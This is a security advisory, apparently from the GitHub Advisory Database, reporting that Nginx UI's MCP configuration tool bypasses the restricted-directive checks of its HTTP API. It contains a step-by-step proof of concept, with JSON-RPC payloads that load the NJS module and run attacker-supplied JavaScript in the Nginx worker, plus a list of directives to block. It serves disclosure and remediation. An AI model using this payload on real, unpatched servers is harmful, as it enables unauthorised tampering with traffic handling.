Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

## Summary The regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This is authenticated and is not OS command execution by itself. ## Affected component - `/mcp` - `/mcp_message` - MCP tool: `nginx_config_add` - Nginx configuration validation ## Impact A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context. This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling. ## Minimal PoC ### Preconditions - Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available: ```bash find / -name "ngx_http_js_module.so" 2>/dev/null ``` Observed in the lab: ```text /usr/lib/nginx/modules/ngx_http_js_module.so ``` ### 1. HTTP API blocks the restricted config Request: ```http POST /api/configs Authorization: <SECONDARY_USER_JWT> Content-Type: application/json ``` Body: ```json { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } ``` Observed result: ```text Rejected because the content contains restricted directives such as load_module/js_import/js_content. ``` ### 2. MCP writes the JavaScript file Open an MCP session and call `tools/call` with: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "poc.js", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n" } } } ``` ### 3. MCP writes the NJS-enabled nginx.conf Call `tools/call` again: ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } } } ``` ### 4. Verify NJS execution Inside the Nginx UI container: ```bash curl -i http://127.0.0.1:18249/__poc ``` Observed response: ```http HTTP/1.1 200 OK MCP_NJS_MARKER ``` This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context. ## Expected behavior MCP configuration tools should enforce the same restricted directive validation as the HTTP API. ## Suggested fix Apply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as: - `load_module` - `js_import` - `js_content` - `js_set` - `perl_set` - `user root`

Source published

15 Oct 2026 20:10:44 UTC

Source modified

19 Oct 2026 21:41:02 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Publisher rating · HIGH